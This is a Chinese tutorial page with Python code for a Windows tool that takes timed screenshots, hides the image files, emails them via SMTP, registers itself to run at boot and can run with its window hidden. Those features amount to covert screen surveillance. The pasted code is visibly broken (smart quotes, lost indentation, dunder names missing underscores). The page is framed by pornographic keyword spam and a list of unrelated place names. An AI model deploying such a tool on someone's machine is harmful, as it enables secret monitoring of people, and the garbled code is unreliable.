最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

Python實(shí)現(xiàn)PC屏幕截圖并自動(dòng)發(fā)送郵箱

 更新時(shí)間:2024年12月28日 15:41:22   作者:hvinsion  
這篇文章主要為大家詳細(xì)介紹了如何使用Python實(shí)現(xiàn)一個(gè)屏幕截圖應(yīng)用程序,可以定時(shí)截取屏幕,并將截圖通過電子郵件發(fā)送給指定的收件人,需要的可以參考下

1.簡介

代碼實(shí)現(xiàn)了一個(gè)屏幕截圖應(yīng)用程序,可以定時(shí)截取屏幕,并將截圖通過電子郵件發(fā)送給指定的收件人。以下是代碼的主要功能:

  • 通過使用pyautogui庫來進(jìn)行屏幕截圖。
  • 使用smtplib庫來發(fā)送電子郵件,以將截圖發(fā)送給收件人。
  • 使用tkinter庫創(chuàng)建一個(gè)簡單的圖形用戶界面(GUI),用于配置應(yīng)用程序的設(shè)置。
  • 通過使用logging庫來記錄日志,將日志保存到文件中。
  • 實(shí)現(xiàn)了開機(jī)自動(dòng)啟動(dòng)功能,可以將應(yīng)用程序設(shè)置為開機(jī)自動(dòng)啟動(dòng)。
  • 實(shí)現(xiàn)了隱藏和顯示應(yīng)用程序窗口的功能。
  • 通過使用logging庫來記錄日志,將日志保存到文件中。
  • 收件郵箱默認(rèn)等于發(fā)件郵箱
  • 通過使用logging庫來記錄日志,將日志保存到文件中。
  • 使用configparser庫來讀取和保存應(yīng)用程序的配置設(shè)置。
  • 實(shí)現(xiàn)了開機(jī)自動(dòng)啟動(dòng)功能,可以將應(yīng)用程序設(shè)置為開機(jī)自動(dòng)啟動(dòng)。
  • 實(shí)現(xiàn)了隱藏和顯示應(yīng)用程序窗口的功能。
  • 收件郵箱默認(rèn)等于發(fā)件郵箱

此外,代碼還實(shí)現(xiàn)了一些其他功能,如數(shù)據(jù)加密和解密、刪除已發(fā)送的截圖文件等。

應(yīng)用程序在為用戶提供一個(gè)便捷的方式來定時(shí)截圖并將截圖發(fā)送給指定的收件人,適用于需要定期截圖的監(jiān)控、遠(yuǎn)程監(jiān)視等場景。用戶可以通過圖形界面設(shè)置截圖的間隔時(shí)間、截圖的次數(shù)、發(fā)件人和收件人的電子郵件地址等。

2.運(yùn)行效果

3.相關(guān)源碼

import smtplib
import time
import pyautogui
from email.mime.multipart import MIMEMultipart
from email.mime.image import MIMEImage
from email.mime.text import MIMEText
import logging
import configparser
import os
import sys
import ctypes
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
import base64

import tkinter as tk
from tkinter import ttk
import datetime
import threading
import winreg
import glob

KEY = b'MySuperSecretKey'

def encrypt_data(data):
cipher = AES.new(KEY, AES.MODE_CBC)
ct_bytes = cipher.encrypt(pad(data.encode(‘utf-8'), AES.block_size))
iv = base64.b64encode(cipher.iv).decode(‘utf-8')
ct = base64.b64encode(ct_bytes).decode(‘utf-8')
return iv + ct

def decrypt_data(data):
try:
iv = base64.b64decode(data[:24])
ct = base64.b64decode(data[24:])
cipher = AES.new(KEY, AES.MODE_CBC, iv=iv)
pt = unpad(cipher.decrypt(ct), AES.block_size)
return pt.decode(‘utf-8')
except:
return “Decryption Error!”

class ScreenshotApp:
def init(self):
self.root = tk.Tk()
self.root.title(“Screen”)

    self.config = configparser.ConfigParser()
    self.config_file = os.path.join(os.path.dirname(os.path.abspath(sys.argv[0])), "config.ini") 
     
    if not os.path.exists(self.config_file):
        self.create_default_config()
     
    self.config.read(self.config_file)  # 讀取配置文件
     
    self.sender_email_label = ttk.Label(self.root, text="發(fā)件郵箱:")
    self.sender_email_label.grid(row=0, column=0, padx=5, pady=5)
    self.sender_email_entry = ttk.Entry(self.root)
    self.sender_email_entry.grid(row=0, column=1, padx=5, pady=5)
     
    self.sender_password_label = ttk.Label(self.root, text="發(fā)件郵箱密碼:")
    self.sender_password_label.grid(row=1, column=0, padx=5, pady=5)
    self.sender_password_entry = ttk.Entry(self.root, show="*")
    self.sender_password_entry.grid(row=1, column=1, padx=5, pady=5)
     
    self.interval_label = ttk.Label(self.root, text="截圖間隔時(shí)間:")
    self.interval_label.grid(row=2, column=0, padx=5, pady=5)
    self.interval_entry = ttk.Entry(self.root)
    self.interval_entry.grid(row=2, column=1, padx=5, pady=5)
     
    self.count_label = ttk.Label(self.root, text="發(fā)送截圖數(shù)量:")
    self.count_label.grid(row=3, column=0, padx=5, pady=5)
    self.count_entry = ttk.Entry(self.root)
    self.count_entry.grid(row=3, column=1, padx=5, pady=5)
     
    self.start_button = ttk.Button(self.root, text="開始截圖", command=self.start_screenshot)
    self.start_button.grid(row=4, column=0, padx=5, pady=5)
     
    self.stop_button = ttk.Button(self.root, text="停止截圖", command=self.stop_screenshot)
    self.stop_button.grid(row=4, column=1, padx=5, pady=5)
    self.stop_button.configure(state="disabled")
     
    self.save_button = ttk.Button(self.root, text="save", command=self.save_settings)
    self.save_button.grid(row=5, column=0, padx=5, pady=5)
     
    self.autostart_var = tk.BooleanVar()
    self.autostart_checkbutton = ttk.Checkbutton(self.root, text="開機(jī)自動(dòng)啟動(dòng)", variable=self.autostart_var, command=self.save_settings)
    self.autostart_checkbutton.grid(row=6, column=0, columnspan=2, padx=5, pady=5)
     
    self.toggle_visibility_button = ttk.Button(self.root, text="顯示/隱藏", command=self.toggle_visibility)
    self.toggle_visibility_button.grid(row=7, column=0, columnspan=2, padx=5, pady=5)
     
    # 創(chuàng)建日志記錄器
    self.log_file_path = os.path.join(os.path.dirname(os.path.abspath(sys.argv[0])), "screenshot.log")
    self.logger = logging.getLogger("ScreenshotApp")
    self.logger.setLevel(logging.INFO)
    self.logger.addHandler(logging.FileHandler(self.log_file_path))
     
    self.screenshot_running = False
    self.screenshot_thread = None
    self.stop_event = threading.Event()
     
    # 初始化輸入框的值
    self.sender_email_entry.insert(0, self.config.get("Settings", "sender_email", fallback=""))
    self.sender_password_entry.insert(0, self.get_decrypted_password())
    self.interval_entry.insert(0, self.config.get("Settings", "interval", fallback=""))
    self.count_entry.insert(0, self.config.get("Settings", "count", fallback=""))
     
    # 初始化開機(jī)自動(dòng)啟動(dòng)選項(xiàng)
    self.autostart_var.set(self.is_autostart_enabled())
     
    self.root.protocol("WM_DELETE_WINDOW", self.on_close)
     
    self.root.bind("<F12>", self.toggle_visibility)
     
    # 初始化窗口可見性
    visibility = self.config.get("Settings", "visibility", fallback="visible")
    if visibility == "hidden":
        self.root.withdraw()
     
    if self.autostart_var.get():
        self.start_screenshot()
     
    self.root.mainloop()
     
def on_close(self):
    self.stop_screenshot()
    self.save_settings()
    self.delete_screenshots()
    self.root.quit()

def create_default_config(self):
    if not os.path.exists(self.config_file):
        self.config["Settings"] = {
            "sender_email": "",
            "sender_password": "",
            "interval": "",
            "count": "",
            "autostart": "False",
            "visibility": "visible"
    }
     
    config_file_path = os.path.join(os.path.dirname(os.path.abspath(sys.argv[0])), "config.ini")        
    with open(config_file_path, "w") as configfile:
        self.config.write(configfile)
     
def start_screenshot(self):
    interval_text = self.interval_entry.get()
    count_text = self.count_entry.get()

    if not interval_text or not count_text:
         self.logger.error("請?zhí)峁㏒creen間隔時(shí)間和Screen次數(shù)")
         return

    try:
          interval = int(interval_text)
          count = int(count_text)
    except ValueError:
          self.logger.error("Screen間隔時(shí)間和Screen次數(shù)必須是有效的整數(shù)")
          return
    if not self.screenshot_running:
        sender_email = self.sender_email_entry.get()
        sender_password = self.sender_password_entry.get()
        interval = int(self.interval_entry.get())
        count = int(self.count_entry.get())
         
        receiver_email = sender_email  # 收件郵箱地址默認(rèn)等于發(fā)件郵箱地址
         
        self.logger.info("開始Screen")
         
        self.start_button.configure(state="disabled")
        self.stop_button.configure(state="normal")
        self.screenshot_running = True
        self.stop_event.clear()
         
        self.screenshot_thread = threading.Thread(target=self.screenshot_loop, args=(receiver_email, sender_email, sender_password, interval, count))
        self.screenshot_thread.start()
 
def stop_screenshot(self):
    if self.screenshot_running:
        self.screenshot_running = False
        self.stop_event.set()
        self.screenshot_thread.join()
         
        self.logger.info("停止Screen")
        self.start_button.configure(state="normal")
        self.stop_button.configure(state="disabled")
 
def screenshot_loop(self, receiver_email, sender_email, sender_password, interval, count):
    screenshot_count = 0
    screenshots = []

    # 獲取用戶主目錄,并創(chuàng)建'Screenshots'文件夾
    user_dir = os.path.expanduser('~')
    screenshot_dir = os.path.join(user_dir, 'Screenshots')
    os.makedirs(screenshot_dir, exist_ok=True)

    # 在開始Screen前清空'Screenshots'文件夾
    self.delete_screenshots()

    while screenshot_count < count and not self.stop_event.is_set():
        try:
            # Screen
            screenshot = pyautogui.screenshot()

            # 生成文件名,格式為“Screen時(shí)間.png”
            current_time = datetime.datetime.now().strftime("%Y%m%d_%H%M%S")
            filename = f"Screen_{current_time}.png"

            # 保存Screen到'Screenshots'文件夾中
            screenshot_path = os.path.join(screenshot_dir, filename)
            screenshot.save(screenshot_path)
            screenshots.append(screenshot_path)
            screenshot_count += 1
            #設(shè)置文件為隱藏
            FILE_ATTRIBUTE_HIDDEN = 0x02
            ctypes.windll.kernel32.SetFileAttributesW(screenshot_path, FILE_ATTRIBUTE_HIDDEN)
            self.logger.info(f"Screen成功: {screenshot_path}")

            if screenshot_count == count:  # 達(dá)到指定Screen次數(shù)后發(fā)送Screen
                screenshot_count = 0
                self.send_email(receiver_email, sender_email, sender_password, screenshots)
                self.logger.info(f"Screen發(fā)送成功,共發(fā)送了 {len(screenshots)} 張Screen")
                self.delete_screenshots(screenshots)
                screenshots = []  # 清空已發(fā)送的Screen列表
        except Exception as e:
            self.logger.error(f"Screen失敗: {str(e)}")

        time.sleep(interval)


     
def send_email(self, receiver_email, sender_email, sender_password, filenames):
    msg = MIMEMultipart()
    msg["From"] = sender_email
    msg["To"] = receiver_email
    msg["Subject"] = "Screen"
     
    # 添加郵件正文
    msg.attach(MIMEText("請查看附件中的Screen。", "plain"))
     
    # 添加Screen作為附件
    for filename in filenames:
        with open(filename, "rb") as f:
            image = MIMEImage(f.read())
        image.add_header('Content-Disposition', 'attachment', filename=os.path.basename(filename))
        msg.attach(image)
     
    try:
        # 發(fā)送郵件
        with smtplib.SMTP_SSL("smtp.qq.com", 465) as smtp:
            smtp.login(sender_email, sender_password)
            smtp.send_message(msg)
             
        self.logger.info(f"郵件發(fā)送成功,收件人: {receiver_email}")
     
    except Exception as e:
        self.logger.error(f"郵件發(fā)送失敗: {str(e)}")
     
def save_settings(self):

    self.config.set("Settings", "sender_email", self.sender_email_entry.get())
    self.config.set("Settings", "interval", self.interval_entry.get())
    self.config.set("Settings", "count", self.count_entry.get())
    self.config.set("Settings", "autostart", str(self.autostart_var.get()))
     
    visibility = "visible" if self.root.state() == "normal" else "hidden"
    self.config.set("Settings", "visibility", visibility)
     
    if self.sender_password_entry.get() != self.get_decrypted_password():
        encrypted_password = encrypt_data(self.sender_password_entry.get())
        self.config.set("Settings", "sender_password", encrypted_password)
     
    config_file_path = os.path.abspath(self.config_file)
    with open(config_file_path, "w") as configfile:
        self.config.write(configfile)
        self.logger.handlers.clear()
        self.logger.addHandler(logging.FileHandler(self.log_file_path))
     
    self.set_autostart(self.autostart_var.get())
     
def delete_screenshots(self, filenames=None):
    # 獲取'Screenshots'文件夾路徑
    user_dir = os.path.expanduser('~')
    screenshot_dir = os.path.join(user_dir, 'Screenshots')

    if filenames is None:
        filenames = glob.glob(os.path.join(screenshot_dir, "Screen*.png"))

    for filename in filenames:
        try:
            os.remove(filename)
            self.logger.info(f"刪除Screen: {filename}")
        except Exception as e:
            self.logger.error(f"刪除Screen失敗: {str(e)}")
 
def get_decrypted_password(self):
    encrypted_password = self.config.get("Settings", "sender_password", fallback="")
    if encrypted_password:
        return decrypt_data(encrypted_password)
    else:
        return ""
     
def toggle_visibility(self, event=None):
    if self.root.state() == "withdrawn":
        self.root.deiconify()
    else:
        self.root.withdraw()
    self.save_settings()
     
def set_autostart(self, enabled):
    key = winreg.HKEY_CURRENT_USER
    run_key = r"Software\Microsoft\Windows\CurrentVersion\Run"
    app_name = "Screen"
    app_path = sys.executable  # 獲取當(dāng)前腳本的絕對路徑

    try:
        with winreg.OpenKey(key, run_key, 0, winreg.KEY_SET_VALUE) as reg_key:
            if enabled:
                winreg.SetValueEx(reg_key, app_name, 0, winreg.REG_SZ, app_path)
                self.logger.info("已設(shè)置開機(jī)自動(dòng)啟動(dòng)")
            else:
                winreg.DeleteValue(reg_key, app_name)
                self.logger.info("已取消開機(jī)自動(dòng)啟動(dòng)")
    except FileNotFoundError as e:
        self.logger.error(f"找不到注冊表路徑: {str(e)}")
    except PermissionError as e:
        self.logger.error(f"沒有足夠的權(quán)限訪問注冊表: {str(e)}")
    except Exception as e:
        self.logger.error(f"設(shè)置開機(jī)自動(dòng)啟動(dòng)失敗: {str(e)}")

def is_autostart_enabled(self):
    key = winreg.HKEY_CURRENT_USER
    run_key = r"Software\Microsoft\Windows\CurrentVersion\Run"
    app_name = "Screen"
    app_path = sys.executable  # 獲取當(dāng)前腳本的絕對路徑

    try:
        with winreg.OpenKey(key, run_key, 0, winreg.KEY_READ) as reg_key:
            try:
                value, value_type = winreg.QueryValueEx(reg_key, app_name)
                return value == app_path
            except FileNotFoundError:
                return False
    except FileNotFoundError as e:
        self.logger.error(f"找不到注冊表路徑: {str(e)}")
    except PermissionError as e:
        self.logger.error(f"沒有足夠的權(quán)限訪問注冊表: {str(e)}")
    except Exception as e:
        self.logger.error(f"讀取開機(jī)自動(dòng)啟動(dòng)設(shè)置失敗: {str(e)}")
     
    return False

if name == “main”:
app = ScreenshotApp()

以上就是Python實(shí)現(xiàn)PC屏幕截圖并自動(dòng)發(fā)送郵箱的詳細(xì)內(nèi)容,更多關(guān)于Python屏幕截圖的資料請關(guān)注腳本之家其它相關(guān)文章!

相關(guān)文章

  • Python?os?模塊與路徑從基礎(chǔ)到實(shí)戰(zhàn)應(yīng)用

    Python?os?模塊與路徑從基礎(chǔ)到實(shí)戰(zhàn)應(yīng)用

    本文詳解Python中os模塊與路徑處理,涵蓋目錄創(chuàng)建、遍歷、刪除及文件操作,提供日志管理、數(shù)據(jù)備份等實(shí)戰(zhàn)案例,強(qiáng)調(diào)跨平臺兼容與異常處理最佳實(shí)踐,本文結(jié)合實(shí)例代碼給大家介紹的非常詳細(xì),感興趣的朋友跟隨小編一起看看吧
    2025-08-08
  • Python基于pyjnius庫實(shí)現(xiàn)訪問java類

    Python基于pyjnius庫實(shí)現(xiàn)訪問java類

    這篇文章主要介紹了Python基于pyjnius庫實(shí)現(xiàn)訪問java類,文中通過示例代碼介紹的非常詳細(xì),對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友可以參考下
    2020-07-07
  • Python3訪問MySQL數(shù)據(jù)庫的實(shí)現(xiàn)步驟

    Python3訪問MySQL數(shù)據(jù)庫的實(shí)現(xiàn)步驟

    要實(shí)現(xiàn)一個(gè)簡單的IM(即時(shí)通訊)系統(tǒng),支持用戶注冊、登錄和聊天記錄存儲,你可以使用Python和mysql數(shù)據(jù)庫,以下是一個(gè)基本的實(shí)現(xiàn)步驟,并通過代碼示例講解的非常詳細(xì),需要的朋友可以參考下
    2024-11-11
  • Python基于OpenPyxl實(shí)現(xiàn)Excel轉(zhuǎn)PDF并精準(zhǔn)控制分頁

    Python基于OpenPyxl實(shí)現(xiàn)Excel轉(zhuǎn)PDF并精準(zhǔn)控制分頁

    在 Python 自動(dòng)化辦公(RPA)的場景中,我們經(jīng)常需要自動(dòng)生成帶有圖表或圖片的 Excel 報(bào)表,并最終將其導(dǎo)出為 PDF,下面我們就來聊聊如何使用OpenPyxl實(shí)現(xiàn)這一功能并精準(zhǔn)控制分頁吧
    2025-12-12
  • Python pandas庫中的isnull()詳解

    Python pandas庫中的isnull()詳解

    今天小編就為大家分享一篇Python pandas庫中的isnull()詳解,具有很好的參考價(jià)值,希望對大家有所幫助。一起跟隨小編過來看看吧
    2019-12-12
  • python中有幫助函數(shù)嗎

    python中有幫助函數(shù)嗎

    在本篇文章里小編給大家分享的是一篇關(guān)于python幫助函數(shù)詳解內(nèi)容,有興趣的朋友們可以學(xué)習(xí)下。
    2020-06-06
  • Flask學(xué)習(xí)之全局異常處理詳解

    Flask學(xué)習(xí)之全局異常處理詳解

    Flask是一個(gè)基于Python的Web框架,它提供了全局異常處理的機(jī)制來捕獲和處理應(yīng)用程序中的異常,下面就帶大家深入了解一下Flask是如何實(shí)現(xiàn)異常處理的,希望對大家有所幫助
    2023-06-06
  • Python自動(dòng)化操作Excel/Word/PDF的實(shí)戰(zhàn)指南

    Python自動(dòng)化操作Excel/Word/PDF的實(shí)戰(zhàn)指南

    在現(xiàn)代辦公環(huán)境中,我們經(jīng)常需要處理各種文檔格式,如Excel表格、Word文檔和PDF文件,下面我們就來看看如何使用Python自動(dòng)化進(jìn)行相關(guān)操作吧
    2025-09-09
  • 零基礎(chǔ)帶你掌握Python Openpyxl單元格樣式修改指南

    零基礎(chǔ)帶你掌握Python Openpyxl單元格樣式修改指南

    在日常辦公中,我們經(jīng)常需要處理大量的 Excel 表格,本篇文章將系統(tǒng)地帶你走進(jìn) openpyxl 的樣式修改世界,無論你是編程小白還是有一定基礎(chǔ)的學(xué)習(xí)者,只要跟著本文的步驟,都能輕松讓你的自動(dòng)化表格漂亮起來
    2026-03-03
  • Python通過paramiko庫實(shí)現(xiàn)遠(yuǎn)程執(zhí)行l(wèi)inux命令的方法

    Python通過paramiko庫實(shí)現(xiàn)遠(yuǎn)程執(zhí)行l(wèi)inux命令的方法

    這篇文章主要介紹了Python通過paramiko庫實(shí)現(xiàn)遠(yuǎn)程執(zhí)行l(wèi)inux命令,本文給大家介紹的非常詳細(xì),對大家的學(xué)習(xí)或工作具有一定的參考借鑒價(jià)值,需要的朋友可以參考下
    2023-03-03

最新評論

万源市| 桃源县| 越西县| 渭南市| 宝兴县| 彰化市| 吉隆县| 桃园市| 革吉县| 泉州市| 嘉鱼县| 教育| 庆城县| 泸水县| 喀什市| 南江县| 和平县| 商丘市| 高平市| 新野县| 廉江市| 达拉特旗| 策勒县| 昌都县| 临颍县| 精河县| 苏尼特左旗| 财经| 体育| 麻阳| 岳阳市| 柳江县| 连州市| 咸丰县| 和平县| 滕州市| 迭部县| 成都市| 进贤县| 太和县| 库车县|